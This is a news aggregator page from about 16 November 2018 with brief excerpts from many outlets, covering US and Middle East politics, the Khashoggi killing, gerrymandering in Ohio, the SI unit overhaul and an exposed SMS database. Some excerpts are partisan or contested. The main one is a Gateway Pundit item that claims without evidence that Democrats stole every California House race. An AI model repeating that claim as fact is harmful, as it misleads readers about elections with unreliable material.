The biggest issue of freedom of the press is not that Trump is mean to reporters, as he was with CNNs Jim Acosta and NPRs Yamiche Alcindor last week, he tells Robert Scheer. The biggest freedom of the press issue is that Trump is working with Comcast and AT&T and Verizon to end net neutrality. Ownership of the media and the ownership of the internet, the fact that these big internet providers are [a] few giant companies that also produce contentits very, very dangerous.

In the latest installment of Scheer Intelligence, Cohen plumbs a range of topics, including the myriad failures of our political press and the Blue Wave election that wasnt (quite), as well as the future of the progressive movement. No matter how many congressional seats it ends up flipping, he contends, the Democratic Party is unlikely to change course until it replaces its leadership: Its too indebted to the donor class. So they talk with mush in their mouths. We should have more accessibility to affordable housingno! Whats popular is Medicare-for-all.

Cohen also expounds on the larger mission of FAIR and the kind of counterweight in can provide to an increasingly monolithic media industry. We set up FAIR because progressive points of view were excluded from mainstream media, he says. Typically in mainstream media the spectrum went from the center to the right. So I spent decades trying to get the progressive view there.

Between the Federalist Societys iron grip on the Supreme Court and the ever-encroaching dangers of global warming, the futureboth for the country and the planet as a wholelooks impossibly bleak. Yet even in these dark, frenetic times, Cohen maintains we still have reason for optimism. I study the polls, he says. And the polls show that the most progressive demographic, by age, by far, are people under 30, under 35. Theyre th...

16:09

Palestinians denounce 'normalisation' in latest Gaza protest "IndyWatch Feed Allworld"

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Protests are part of the ongoing Great March of Return and come after fiercest rocket salvoes between Israel and Palestinian armed factions

16:08

Cronkite News: 'Showdown on the Rez' draws thousands of Navajo fans "IndyWatch Feed Allworld"

For many on the Navajo Nation, basketball means everything.

16:07

Israel: Outgoing defense minister says Government has given immunity to terrorist leaders in Gaza "IndyWatch Feed Allworld"

In final volley, outgoing defense minister rails against security cabinet, says Hamas will become like Lebanons powerful Hezbollah terrorist army

Outgoing Defense Minister Avigdor Liberman addresses soldiers during a farewell tour of the Gaza border region, November 16, 2018 (Ariel Hermoni/Defense Ministry)
Outgoing Defense Minister Avigdor Liberman addresses soldiers during a farewell tour of the Gaza border region, November 16, 2018 (Ariel Hermoni/Defense Ministry)

In a final shot as defense minister, Avigdor Liberman on Friday lambasted his former colleagues in the security cabinet, saying theyd effectively given the leaders of the Hamas terror group immunity during this weeks intensive round of violence.

It simply makes no sense that after Hamas launches some 500 rockets at Israeli communities outside Gaza, at the south of the country, the heads of Hamas effectively get immunity from the Israeli security cabinet, he said during a farewell visit to the south.

Liberman, who tendered his resignation on Wednesday, also warned that Israels policies toward Gaza were threatening to allow the Hamas terror group considered by the Israel Defense Forces to be a comparatively minor strategic threat in terms of raw military power to become akin to Lebanons mighty Hezbollah terrorist army, which is seen as the Jewish states main rival in the region with an arsenal of over 100,000 mortar shells, rockets and missiles.

We are currently feeding a monster, which if we dont stop its rearmament and force-building in a year we will get a twin to Hezbollah with all that entails, he said.

Officials assess the damage to a house after it was hit by a rocket fired by Palestinian militants from the Gaza Strip, in the southern Israeli city of Ashkelon, Israel, Tuesday, Nov. 13, 2018. (AP Photo/Ariel Schalit)

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16:07

Is The Cult Of Personality Presidency Permanent? "IndyWatch Feed Allworld"

For the first time in modern history we have had two cult of personality presidents in a row. How will this shape the future of our politics?

16:06

Flightless birds, video "IndyWatch Feed Allworld"

This 14 November 2018 video says about itself:

When Birds Stopped Flying

Ratites have spread to Africa, Australia, New Zealand, and South America. And there are fossils of Ratites in Europe, Asia, and North America too. Thats a lot of ground to cover for birds that cant fly. So how did Ratites end up all over the world?

Thanks to Ceri Thomas for the Lithornithid reconstruction.

16:06

The Dred Scott of Climate Change? "IndyWatch Feed Allworld"

Juliana v. United States is, in the words of Princeton philosopher Peter Singer, a historical turning point, because it addresses the rights of children and future Americans to a livable environment. But what if US courts ultimately rule that future generations have no standing to sue?

16:06

Ohio is the gerrymandering capital of the US "IndyWatch Feed Allworld"

Ohio is becoming notorious not just for producing horrific murder cases, it also leads the way in how gerrymandering produces results that do not come close to reflecting the voting preferences of its citizens and last weeks election results demonstrated this very clearly. Republican officials have abused their power to draw districts such that all the Democratic-leaning voters were crammed into as few seats as possible, leaving few left over in the other areas. The results are stark, with Republicans winning a huge majority in the state houses while actually trailing in the popular vote.


The Democrats actually collected more total votes in the 116 Ohio House and Senate elections across the state, cleveland.com found in tabulating the unofficial returns.

More importantly, in terms of controlling Ohios government, the GOP won 72 of the 116 Statehouse races.

But the Republicans scored their wins for 62 percent of the seats while collecting just under 50 percent of the total vote.

This is a lot like what happened in Ohios 16 congressional districts, where Republicans won 75 percent of the seats with just 52 percent of the overall vote.

Despite the strong showing by the Ohio GOP, the Democrats actually did make significant gains over 2016, argues Richard Gunther, who worked on gerrymandering reform and is a professor emeritus of political science at Ohio State University.

He found the vote margin between Democrats and Republicans in Ohios congressional races shifted the Democrats way by an average of 10 percentage points. That was in line, he said, with national trends.

Ohio did not miss out on the wave at all, Gunther said. The difference is that gerrymandering was so effective that the Democrats picked up no additional seats.

But the times, they are achanging. People are getting fed up with gerrymandered districts.

Ohioans in 2015 voted to reform the way Statehouse districts will be drawn, beginning in 2021. Then, earlier this year, Ohio voters did the same for congressional districts going forward. The votes for change were not close, passing each time with more than 70 percent support.

The separate reforms carry their own set of rules,...

16:06

North Korea tests ultramodern tactical weapon: State media "IndyWatch Feed Allworld"

Press TV November 16, 2018 North Koreas state media says the countrys leader Kim Jong-un has witnessed the test of an ultramodern tactical weapon in his first publicized visit to a weapons test site since the countrys test-launch of an ICBM last November. Kim visited the testing ground of the Academy of Defense Science, []

16:05

More on third-party USB-C to Lightning cables "IndyWatch Feed Allworld"

John Gruber unpacks a lot of detail on USB-C to Lightning cables, the MFi program, and his take on the likelihood of USB-C making the move to iPhone.

This is a terrific, put your feet up, grab a hot beverage, chock-full-of details read.

Read this on The Loop

16:05

NASA director says US space partnership with Russia is stronger than ever "IndyWatch Feed Allworld"

This news may come as a surprise to some, and provides perhaps the basis for a small amount of optimism. The relationship between Russia and the United States in the space arena remains as strong as ever, despite occasional disputes, said the director of the National Aeronautics and Space Administration (NASA), Jim Bridenstine, in a speech at the Canadian Aerospace Summit. "Sometimes terrestrially Russia and the United States don't get along so well," Bridenstine said on Wednesday. "We have all kinds of terrestrial disputes, but when it comes to space exploration, when it comes to discovery, when it comes to science and the development of space, the relationship between Roscosmos and NASA is as strong as it has ever been." Bridenstine also stated that NASA wants to maintain this strong relationship with Roscosmos. On December 3, NASA said it planned to launch a new mission to the International Space Station (ISS) in collaboration with Roscosmos on the Russian Soyuz rocket,...

16:03

Make Christmas Merrier with SHARE! "IndyWatch Feed Allworld"

SHARE Christmas Display

The SHARE Christmas Window Display

Around 5 million tonnes of waste both recyclable and not is created around Christmas in the UK every year, equivalent to 450,000 double decker buses. At SHARE we want to do our small part in reducing this number by encouraging borrowing from our growing selection of Christmas items.

Save yourself money and storage space by borrowing our 6ft artificial Christmas tree from 3 per fortnight, covered in pine cone and berry decorations. Or steady your real tree (which can be recycled!) with one of our 3 tree stands.

Go for a new look this Christmas with one of 6 sets of baubles and decorations available to borrow. Choose from traditional...

16:02

Six Recent US Antiwar Demonstrations Your Rulers Dont Want You Talking About "IndyWatch Feed Allworld"

Caitlin Johnstone, Guest
Waking Times

A friend told me yesterday that he hadnt seen an antiwar protest in America in ten years. It was a sincere comment; he genuinely hadnt seen any coverage on any peace activism in his country during that time. And of course he hadnt; it is mainstream medias job to distort public narratives in favor of the war-hungry plutocratic class which owns the media outlets. But Ive actually been noticing a lot of antiwar activism lately which, while often far from the spotlight of mass media attention, has given me much hope for the future.

It is true there was a noticeable lull in vocal demonstrations against military violence since George W Bush left office, largely due to mainstream US partisan dynamics. Mainstream liberals supported Obama, so they avoided bringing attention to his continuation of Bushs policies of mass murder, while mainstream conservatives ignored the Obama administrations violence since they focused on attacking him as a weakling and a terrorist sympathizer, and of course had no ground to stand on for any criticisms of warmongering after supporting eight years of Bush. Some antiwar activism did happen in the US during that time, but not much.

And, bizarrely, weve seen a mutation of this trend continue well into the Trump administration, with mainstream liberals herded into holding demonstrations in support of the empty Russiagate conspiracy theory. The mass media-endorsed collusion narrative has fed into an anti-Russia hysteria among Democratic Party loyalists that has been used to manufacture support for dangerous cold war escalations and an obscenely bloated military budget, while any objection to Trumps...

16:02

Democrats Steal Another Race: California Republican Young Kim Who Led by 3% After Election Is Suddenly Down 941 Votes "IndyWatch Feed Allworld"

Another California Republican who led the election by 3% on Election Day is suddenly down by 941 votes more than a week after the election.

Young Kim was declared winner on Election Day.

Young Kim was poised to be the first female Korean US House representative in history.
But Democrats stole her race too.

Democrats have stolen EVERY HOUSE race in California since election day.
All of the tight races were led by Republicans on Election Day.

The post Democrats Steal Another Race: California Republican Young Kim Who Led by 3% After Election Is Suddenly Down 941 Votes appeared first on The Gateway Pundit.

16:00

Supercon: Designing Your Own Diffractive Optics "IndyWatch Feed Allworld"

Kelly Peng is an electrical and optical engineer, and founder of Kura AR. Shes built a fusion reactor, a Raman spectrometer, a DIY structured light camera, a linear particle accelerator, and emotional classifiers for likes and dislikes. In short, we have someone who can do anything, and she came in to talk about one of the dark arts (pun obviously intended): optics.

The entire idea of Kura AR is to build an immersive augmented reality experience, and when it comes to AR glasses, there are two ways of doing it. You could go the Google Glass route and use a small OLED and lenses, but these displays arent very bright. Alternatively, you could use a diffractive waveguide, like the Hololens. This is a lot more difficult to manufacture, but the payoff will be a much larger field of view and a much more immersive experience.

The lens that Kelly is using in her AR headset is basically a diffraction grating, or a series of parallel lines on a piece of plastic. These diffraction gratings reflect light, but its dependent on the wavelength. Therefore, for a full-color system, you need three layers, one for red, one for blue, and another for green. The trick here is how to manufacture this. Kelly took a Hololens lens apart and took a look at it with an electron microscope, which appears to be made via fancy, and expensive, photolithography.

There is another way, though. The feature sizes on this diffraction grating arent too small, and this could conceivably be done through injection molding. With a lot of coding, simulation, and testing, Kelly realized this was manufacturable with somewhat standard injection molding processes, would cost only about $60,000 upfront, and would produce a part for one dollar. Thats much better than whatever process is going into the Hololens, and an amazing technical feat thats bring the future of AR closer than ever before.

This talk gets deep into diffractive optics. Its jam-packed with the kind of technical detail youll need to know if youre going to hack together your own AR / VR system. In short, its the kind of real-world technical talk that we love. Sit back with some popcorn and your notepad.

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16:00

US Govt Accidentally Reveals Theyre Charging Julian Assange, Paving the Way for Persecution of All Journalists "IndyWatch Feed Allworld"

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The US government accidentally copied and pasted information from sealed documents indicating that they have already charged Julian Assange for his journalism.

The post US Govt Accidentally Reveals Theyre Charging Julian Assange, Paving the Way for Persecution of All Journalists appeared first on The Free Thought Project.

16:00

Hugh Fitzgerald: Robert Azzi, Still With His Ask-A-Muslim Anything Shtick (Part Five) "IndyWatch Feed Allworld"

Question #8C: You said that Islam as practiced in Saudi Arabia provided inner peace and a sense of security? Where apostates and homosexuals can be decapitated? Where the school textbooks preach hatred of Jews and Christians, where the Shia are denounced as Infidels? Where women cant drive, or work alongside men, and are constantly under []

16:00

Left Eats Left: Ocasio-Cortez Gets In Closed-Door Fight With Veteran Lawmaker Over Climate Change "IndyWatch Feed Allworld"

Dems are going to have their hands full with her. Via Politico: A fight broke out in a closed-door meeting of House Democrats over climate change as a powerful veteran lawmaker fought with freshman star Rep.-elect Alexandria Ocasio-Cortez and other members-elect over the creation of a special panel for the issue. New Jersey Rep. Frank []

16:00

Fusion of church and state: Kiev's split from Russian Orthodoxy will boost 'nationalism' and 'chaos' in Ukraine "IndyWatch Feed Allworld"

The Ukrainian Church's drive to gain independent status (autocephaly) is a political move, pushed by President Petro Poroshenko who seeks to fix his crumbling popularity before the next election, historian Alexander Dvorkin says. "I'm not sure that Ukraine is really determined to get autocephaly. Mr. Poroshenko definitely wanted that very much, because his popularity is very low, the polls show very low figures, and he's very anxious to get re-elected," Professor of Church History at St. Tikhon's Orthodox University Alexander Dvorkin told RT. "So, he needs to do something, at least something to raise his popularity. And he believes that [the] announcement of autocephaly of [the] Ukrainian Church will be the thing that will do it." Comment: He might not get it. The decision is apparently contingent on a vote of all the relevant churches in Ukraine, the majority of whom are against the decision, it seems. Also, they weren't even the ones who asked for it. This was Poroshenko's...

15:58

FAN Newsletter "IndyWatch Feed Allworld"

A few days ago the Fluoride Action Network* sent out a request to professionals in any medical, scientific, legal, educational, environmental or other field, to sign a "New Professionals' Statement" calling for an end to water fluoridation worldwide--see the list of signers to the new statement.
This "New Professionals' Statement" has been triggered by the publication of very important and disturbing U.S. Government-funded studies (Bashash et al, 2017 and 2018).  These studies have added very strong additional evidence to the large number of existing studies that show that fluoride is neurotoxic. They underline that the critical period of exposure to fluoride is in the womb and that at levels of fluoride exposure currently experienced by pregnant women in fluoridated communities there is a strong correlation with the lowering of IQ and ADHD symptoms in their offspring.
Sadly, and possibly because the imposed dental practice of water fluoridation is so entrenched in the psyche of the medical, dental and public health establishments in fluoridated countries, neither governments not the mainstream media are warning the public about this large - and growing - body of scientific research.
Thus, we are appealing to professionals to sign this statement. We hope by circulating this it will help us get this information out to more professionals, the public (especially pregnant women), the media and decision-makers in fluoridated countries, and eventually halt this unnecessary and reckless practice being imposed on our children.
Please note, we are inviting all professionals to sign this new statement regardless of whether they signed the original 2007 statement or not. For the moment we will be treating this as a standalone statement, but so that we dont lose the weight of nearly 5000 signers to the previous statement we will find some way of combining the totals of unique signers in the future.
If you are a professional and wish to add your name...

15:55

When the Middle Class Lost Its Wealth "IndyWatch Feed Allworld"

Until 2008, rising home values gave the middle class a cushion amid growing income inequality. But following the financial crisis, that wealth has failed to return.

15:55

Daily Digest 11/16 - Good News Friday: CO Votes To Abolish Slavery, Preventing Allergies In Children "IndyWatch Feed Allworld"

Daily Digest 11/16 - Good News Friday: CO Votes To Abolish Slavery, Preventing Allergies In Children
  • Colorado Votes To Abolish Slavery, 2 Years After Similar Amendment Failed
  • Sucking your baby's pacifier might protect them from allergies, study says
  • NASA predicts people on Mars within 25 years
  • How a Low-Carb Diet Might Help You Maintain a Healthy Weight
  • Part of the Answer to Climate Change May Be Americas Trees and Dirt, Scientists Say
  • Cover crops reduce nitrates without hurting yield
  • This Chemical Is So Hot It Destroys Nerve Endings - In A Good Way
  • This nurse drove through a wall of fire to save his patients during the deadliest blaze in California history.

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15:54

Massive two-factor code, password reset link, text message database exposed "IndyWatch Feed Allworld"

TechCrunch:

The exposed server belongs to Voxox (formerly Telcentris), a San Diego, Calif.-based communications company. The server wasnt protected with a password, allowing anyone who knew where to look to peek in and snoop on a near-real-time stream of text messages.

And:

Worse, the database running on Amazons Elasticsearch was configured with a Kibana front-end, making the data within easily readable, browsable and searchable for names, cell numbers and the contents of the text messages themselves.

And:

Often, app developers like HQ Trivia and Viber will employ technologies provided by firms like Telesign and Nexmo, either to verify a users phone number or to send a two-factor authentication code, for example. But its firms like Voxox that act as a gateway and converting those codes into text messages, to be passed on to the cell networks for delivery to the users phone.

Interesting to see how those two-factor requests are outsourced and where those text messages come from. Check out those sample searches in the article. A database like this is searchable in real time, making it easy for someone to monitor changes, steal accounts. A serious point of vulnerability.

Read this on The Loop

15:53

Symbolic Istanbul funeral pays homage to Khashoggi (But Turkey Doesnt Want To Put This Issue To Rest) "IndyWatch Feed Allworld"

Dozens of people on Friday paid homage to murdered journalist Jamal Khashoggi in a symbolic funeral in Istanbul where the 59-year-old Washington Post contributor was killed last month.

In the absence of a body, the crowd gathered in front of an empty place traditionally reserved for the coffin at Fatih mosque, AFP journalists reported.

AFP | Dozens of people paid homage to murdered journalist Jamal Khashoggi at a symbolic funeral in Istanbul

Supporters from the newly-formed Jamal Khashoggi Friends Association also attended.

Khashoggi, a critic of the Saudi leadership, was last seen entering the kingdoms Istanbul consulate on October 2. Turkish officials say he was strangled and his body dismembered.

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We decided to hold the prayers as we are convinced that his body will never be found, Fatih Oke, executive director of the Turkish-Arab Media Association (TAM) of which Khashoggi was a member, told AFP.

The ceremony which took place under rain, is a message delivered to the world to say that the murder will not go unpunished and that justice will be served, said Ibrahim Pekdemir, an Istanbul resident who attended.

Saudi prosecutors on Thursday announced indictments against 11 people and said a total of 21 individuals were in custody in connection with the killing.

But they exonerated the kingdoms powerful Crown Prince Mohammed bin Salman of involvement in the murder.

Crown Prince Mohammed bin Salman. (SPA)

They want us to believe that the killers themselves made the decision to assassinate Jamal Khashoggi, we do not believe in this story, he said after the prayer.

We will continue to ask who are the true contractors of the murder.

Turkey has insisted it was a premeditated killing.

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15:51

No more moderates: Al Nusra terrorists unite all Idlib militants under one big jihadist command "IndyWatch Feed Allworld"

The notorious Al Nusra terrorist group has announced it has united all the rebel factions in Idlib under a single command, eroding whatever thin line ever existed between the so-called 'moderate' militants and hardcore jihadists. The Idlib province has been relatively calm following the September agreement between Russia and Turkey to set up a buffer zone in the province in the hope that it would lead to a long-lasting ceasefire. The deal, which was backed by Germany and France, and supported by the United States, in theory, should have allowed the so-called 'moderate' rebels to take control of the province while separating from radical Islamists. However, exactly the opposite appears to have happened. "All the factions in the arena formed a joint operations room... Yes, all factions without exemption." There has been "no joint operations room like this before," Abu Khaled, a representative of Al-Qaeda affiliate Jabhat Al Nusra, which is now known as Hayat Tahrir al-Sham, told the...

15:50

Dow Tumbles Again As Gold & Oil Rally But This Is Maddening "IndyWatch Feed Allworld"

Dow Tumbles Again As Gold & Oil Rally But This Is Maddening from King World News Dow tumbles again as gold and oil rally but this is maddening. This Is Maddening November 15 (King World News) Here is what Peter...

The post Dow Tumbles Again As Gold & Oil Rally But This Is Maddening appeared first on The Daily Coin.

15:50

Group-IB presented latest cybercrime and nation-state hacking trends in Asia "IndyWatch Feed Allworld"

According to Group-IBs report findings, Asia is one of the most actively attacked regions in the world, the company presented latest cybercrime trends.

Hong Kong, 16.11.2018 Group-IB, an international company that specializes in preventing cyber attacks, presented the findings of its latest Hi-Tech Crime Trends 2018 report at the FinTech Security Conference in Hong Kong organized by Binary Solutions Limited in partnership with Group-IB.

According to Group-IBs report findings, Asia is one of the most actively attacked regions in the world. Over the past year, 21 state-sponsored groups were detected in the area, which is more than in Europe and the US combined. Hong Kong, Singapore, Seoul, and Shanghai, and many other financial powerhouses in Asia are likely to become primary targets of financially motivated hacker groups in the near future.

Cyber trends and threats that we identified in the world are likely to occur in Asia. Asias rapid economic growth has ramped up the interest of financially motivated hackers and state-sponsored hacker groups. Local banks have already been attacked by advanced hacker groups several times; we expect this trend to increase,  comments Dmitry Volkov, Group-IB CTO.

The threats that are notable for the Asian region are represented by a significant number of attacks aimed at manufacturing of chips, microprocessors and system control boards of different IT vendors, whose principal manufacturing operations are located in Asia. The attackers research vector is now shifting from software vulnerabilities to those located at the hardware and firmware level. To exploit certain hardware vulnerabilities, hackers can simply run a JavaScript code, as in the case of Glitch vulnerability. It is very difficult, if not impossible to eliminate these vulnerabilities with software updates and as such they create new opportunities for cybercriminals. It is likely that in the space of a few years they will seriously affect the cyber security market.

Since the beginning of 2018, Group-IB experts detected that cybercriminals were seeking to get access to the user databases of Hong Kong state Internet portals responsible for taxes, trade, procurement, logistics, innovations and hi-tech infrastructure.

Espionage as one of the main APT groups goa...

15:48

Ending the War in Yemen: Congressional Resolution is Not Enough! "IndyWatch Feed Allworld"

On November 14, the Republican majority in the U.S. House of Representatives blocked a resolution that its supporters say would end U.S. participation in the war and famine in Yemen. It is unclear, however, what effect this resolution would have on the ground even if it were passed into law. It imposes no limits on arms sales to Saudi Arabia or the United Arab Emirates. It does not propose any oversight or limitation of activities CIA or of private contractors from the U.S. in Yemen. The resolution is based on a time table that does not reflect the dire urgency to end the war in Yemen, where almost two months ago the United Nations humanitarian chief warned We may now be approaching a tipping point, beyond which it will be impossible to prevent massive loss of life as a result of widespread famine across the country. Further, the resolution provides exemptions for continued hostilities conducted directly by U.S. with drones and Special Forces.

Limited as it is to removing U.S. Armed Forces from hostilities, one might even agree with Republican leadership that with the mutual decision that the U.S. stop refueling Saudi war planes, the resolution is moot, even as the war and famine continue. If the resolution were allowed to pass, there would be a 30-day window between the date when the bill might be signed into law and when it would take effect, in which time millions of Yemenis might succumb to famine.

House of Representatives Concurrent Resolution 138, introduced in the House, Directs the President to remove U.S. Armed Forces from hostilities in Yemen, except for Armed Forces engaged in operations authorized under the 2001 Authorization for Use of Military Force, within 30 days unless and until a declaration of war or specific authorization for such use has been enacted into law. Senate Joint Resolution 54 is even more explicit and generous in its exception allowing U.S. aggression to continue in Yemen: This joint resolution directs the President to remove U.S. Armed Forces from hostilities in or affecting Yemen, except those engaged in operations directed at Al Qaeda, within 30 days unless: (1) the President requests and Congress authorizes a later date, or (2) a declaration of war or specific authorization for the use of the Armed Forces has been enacted.

An AP report produced in partnership with the Pulitzer Center on Crisis, The hidden toll of American drones in Yemen: Civilian deaths, was released on November 14. The AP account gives a glimpse, even if incomplete, into how often civilians are mistakenly hit by drone strikes, at a time when the Trump administration has dramatically ramped up the use of armed drones. It has carried out 176 strikes during its....

15:46

T-Mobile predicts Sprint merger to close in early 2019 "IndyWatch Feed Allworld"

T-Mobile predicted that its $26 billion merger with Sprint could close as early as the first quarter of next year, despite significant opposition to the deal from consumer and labor groups.The merger must win approval from both the Department...

15:43

Its Not Enough US Senate Proposes New Bill To Ban Arms Sales To Saudi Arabia "IndyWatch Feed Allworld"

After the Senate killed a proposal by Rand Paul (R-Kentucky) on Thursday to block $300 million in U.S. arms sales to Bahrain  a key Saudi coalition ally in the Yemen war  Senators proposed another bill that would suspend all U.S. weapons sales to Saudi Arabia and block the refueling of Saudi warplanes bombing Yemen.

Senators on the Foreign Relations Committee, led by Bob Menendez (R-New Jersey) and Lindsey Graham (R-South Carolina) introduced the Saudi Arabia Accountability and Yemen Act of 2018  also with the sponsorship of three Democrats  to hold the Saudis accountable for the murder of journalist Jamal Khashoggi.

Sen. Menendez had previously argued that Bahrain was a critical ally especially as the U.S. Navy bases its Fifth Fleet there and that the missile systems the U.S. provides the tiny GCC country had nothing to do with the military campaign in Yemen.

One of Sen. Pauls supporters,  Rep. Tulsi Gabbard (D-Hawaii), argued that It is long overdue that we end U.S. complicity in Saudi Arabias atrocities, and said, We must end all U.S. support for Saudi Arabias genocidal war in Yemen now.

Pauls resolution failed 77-21 as it faced a veto threat from the White House and as its opposition argued Bahrain is the wrong target and that it needed U.S. missile and anti-tank systems to curtail the threat from Iran.

Menendez said the just announced sanctions against 17 Saudi nationals introduced by the White House were not enough in response to Khashoggis death to ensure Riyadh properly investigates and ends its criminal behavior. Menendez described his bill as putting teeth behind these demands with regular oversight, sanctions, and suspension of weapons sales and refueling support.

And Graham said, This legislation is an important way to hold Saudi Arabia accountable for various acts in Yemen as well as the death of Jamal Khashoggi.

However, President Trump had previously dubbed talk of halting all weapons sales to the kingdom as foolish because it would result in massive American job loss and the Saudis...

15:42

Police drones: UK coppers to use flying robots to track offenders back to their homes "IndyWatch Feed Allworld"

A UK police force is being trained to operate drones, enabling them to take images of anti-social offenders with the potential to follow them to their homes. The move is part of a trial in the use of the remote-control devices. Greater Manchester Police (GMP) is establishing a drone unit with officers trained as pilots for the unmanned aerial vehicles. They aim to identify criminals by taking images of alleged offenders, all the way to their homes if necessary - in a bid to make communities safer, the Manchester Evening News reports.

15:38

Cyclone 'Gaja' makes landfall in south India, kills 11 people "IndyWatch Feed Allworld"

A cyclone made landfall in the southern Indian state of Tamil Nadu on Friday, killing at least 11 people, uprooting trees and knocking down electricity poles after more than 80,000 people were moved out of its path to safety, officials said. Cyclone "Gaja" made landfall in the early hours of Friday but then weakened as it moved inland, K. J. Ramesh, director general of the state-run India Meteorological Department, told Reuters. Eleven people were known to have been killed, said an official from the Tamil Nadu State Disaster Management Authority.

15:38

Moscow says situation in US-controlled Rukban refugee camp in Syria like that of WWII concentration camps "IndyWatch Feed Allworld"

The United States is responsible for the catastrophic humanitarian situation in the Rukban refugee camp in Syria, as it has illegally occupied this territory, Yury Tarasov, the representative of the Russian Defense Ministry in taskforces on ceasefire and humanitarian issues in Geneva, said on Friday. "The whole responsibility for the outrageous situation in Rukban rests with the United States, as it occupies the territory illegally and it uses the humanitarian problems of the refugee camp to legitimize its military presence in the south of Syria. We believe that the elimination of a 55-kilometer [34 mile] zone around At-Tanf [where a US military base is located] will result in the closure of the Rukban camp," Tarasov said at a conference of the Russian and Syrian centers for refugees return. He specified that Russian representatives in the taskforces on ceasefire and humanitarian issues were ready to cooperate with international organizations on settling the Rukban camp...

15:38

Academics and activists oppose Vienna conference that equates anti-Semitism with criticism of Israel "IndyWatch Feed Allworld"

The Austrian Students Union (sterreichische HochschlerInnenschaft) will host a congress, Confronting Antisemitism [1] at the University of Vienna from the 15th to the 17th of November 2018. Israels embassy in Austria is a co-organizer[2].

From an historical perspective, we are dismayed by the choice of venue the University of Vienna which has doggedly persisted in standing on the wrong side of history. A hundred years ago this institution measured the skulls of non-Europeans for scientific purposes. Today, it supports the whitewashing and legitimization of Israels occupation and expulsion policies by making its facilities available to Israeli institutions and other supporters of Israeli Apartheid, while denying such privileges to the former Black Panther Dhoruba Bin Wahad based on his criticism of Israeli policies and support for human rights.[3]

Thus, while critical academics are boycotted and vilified, speakers who are known for their unconditional support of Israeli Apartheid are given the stage at the Confronting Antisemitism event. In addition, some of these speakers have in the past called for denying Israeli BDS activist Ofer Neiman and Holocaust survivor Hedi Epstein the possibility of speaking in publicly supported facilities. [4] Moreover, Alexander Feuerherdt, who writes for the radical, racist, right-wing website Lizas World, gets the stage for his conspiracy theories. He claims, for example, that the repeated criticisms of the Israeli Apartheid state by the United Nations are an expression of institutionalized anti-Semitism that is characteristic of the United Nations as a whole. [5] Feuerherdt also accused the Jewish-Israeli activist Jeff Halper, who was nominated for the Nobel Peace Prize...

15:38

A Vote of Mass Importance: Historic SI Unit Overhaul Redefines Kilogram, Ampere, and More "IndyWatch Feed Allworld"

The International Bureau of Weights and Measures will redefine four base units in terms of fundamental constants in nature

Our standards of measurement seem, well, standard. A meter is a meter. A second is a second. The units by which we measure our world simply arethey feel as immutable as an ocean wave.

But these longtime standards are set to change. A governing body unanimously voted Friday for the biggest ever overhaul of the international system of units (SI), which will redefine four base units: the ampere, kelvin, kilogram, and mole.

Its a moment of quite major significance in our obsessive little world of metrology, says Jon Pratt, chief of the National Institute of Standards and Technology (NIST)s Quantum Measurement Division of the Physical Measurement Laboratory, who managed a team that has worked for eight years on equipment and projects related to the SI unit overhaul.

Were achieving the completion of an arc that started when the French were first thinking up the metric system, Pratt adds. They were striving for a universal measurement system. And now we are basing units on the fabric of the universe.

The vote of the International Bureau of Weights and Measures (BIPM, based on the groups French initials) at a Versailles conference was an inevitability, the culmination of decades of discussion and debate. Pratt credits a complex mix of metrology funding and the progress of sciencenamely, agreement on the measurement of Plancks constantwith finally making the vote, and the redefinition, a reality. More than 50 BIPM member-states voted for the redefinitions.

The overhauled system, which will take effect in May 2019, links every unit to a fixed figure: a fundamental constant in nature. And many of the units definitions will reference each other.

As BIPM put it in a statement [PDF] before the vote, for the first time, all the definitions will be separate from their realizations: instead of definitions becoming outdated as we find better ways to realize units, definitions will remain constant and future-proof.

Le Grand K Photo: BIPM Le Grand K

Perhaps the biggestand certainly the buzziestchange is t...

15:37

Friday Feathers "IndyWatch Feed Allworld"

Some lovely seagulls from Iceswimmer

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15:36

'Wrong on so many levels': Priest in a Porsche uses children as beasts of burden to pull him through the town parade "IndyWatch Feed Allworld"

A newly appointed parish priest is being accused of using his stature to put on a "ostentatious" public display, during which children were seen pulling a Porsche through the streets of a Maltese town with the clergyman inside. Fr John Sultana, who this week was named the new parish priest for Gozitan community, Malta, was honored with a traditional parade by local followers. However, the pastor's use of a rather luxurious vehicle and manner in which he was heralded into his new role has drawn widespread criticism. Footage showing Fr Sultana standing inside a convertible Porsche as lines of children pulled the Porsche Boxster through the streets of ebbu has been labelled by some as "crass" and unbefitting of a representative of the Catholic Church.

15:36

Building Patria: A Conversation with Sergio Requena of the Productive Workers Army "IndyWatch Feed Allworld"

In this interview with Venezuelanalysis, we talk to a central figure in a voluntary workers initiative to jumpstart industrial plants, both stateowned and workercontrolled.

15:35

Lies on French Polynesia nuclear bombs admitted "IndyWatch Feed Allworld"

Demonstrators against a French nuclear bomb test on Mururoa, in september 1995. AFP photo

This AFP photo shows demonstrators against a French nuclear bomb test on Mururoa island in French Polynesia, in september 1995.

Translated from Dutch NOS TV today:

President of French Polynesia admits lies about nuclear testing

President Fritch of French Polynesia has acknowledged in the parliament in Tahiti that the population has been lied to for 30 years about the dangers of the nuclear tests that were held there. Between 1960 and 1996, France held 193 tests with atomic bombs in the overseas territory in the South Pacific.

The images of the mushroom cloud that rose above the Mururoa atoll were increasingly leading to international protests. In 2010, the French government released hundreds of millions of euros to compensate the residents of French Polynesia. The money was also destined for Algeria, where nuclear tests were also held.

I can not be surprised that I have been called a liar for thirty years, we lied to the people that the nuclear tests were clean. We lied, was the statement by President Edouard Fritch. Unknown is what brought Fritch to this confession.

On request, the United States news agency AP received no response from the French government to the statements by Fritch.

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The whistleblower Bruno Barrillot, who died last year, revealed that...

15:34

Palestinian teachers and students defy order to be photographed at a checkpoint "IndyWatch Feed Allworld"

Violence / Detentions West Bank / Jerusalem

In video Israeli forces hold students, teachers at Hebron checkpoint
HEBRON (Maan) 13 Nov Israeli forces prevented Palestinian students and teachers from entering Qurtuba elementary mixed school, in the southern occupied West Bank city of Hebron, on Tuesday. Local sources said Israeli forces prevented students and teachers from entering their school in the center of Hebron City, after demanding to take their pictures before crossing the al-Shuhada Street checkpoint. Israeli forces reportedly demanded to photograph each student and teacher upon their arrival to the school and before they cross the checkpoint. Sources pointed out that students and teachers refused to be photographed and humiliated, which led to Israeli forces holding them at the checkpoint for over an hour, before allowing them to cross through. During the past week, Israeli forces had also assaulted dozens of Palestinian school students and the principal of the same school. Palestinian residents of the Old City of Hebron face a large Israeli military presence on a daily basis, with at least 32 permanent and partial checkpoints set up at the entrances of many streets.
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Funeral of slain Palestinian sets off near Ramallah
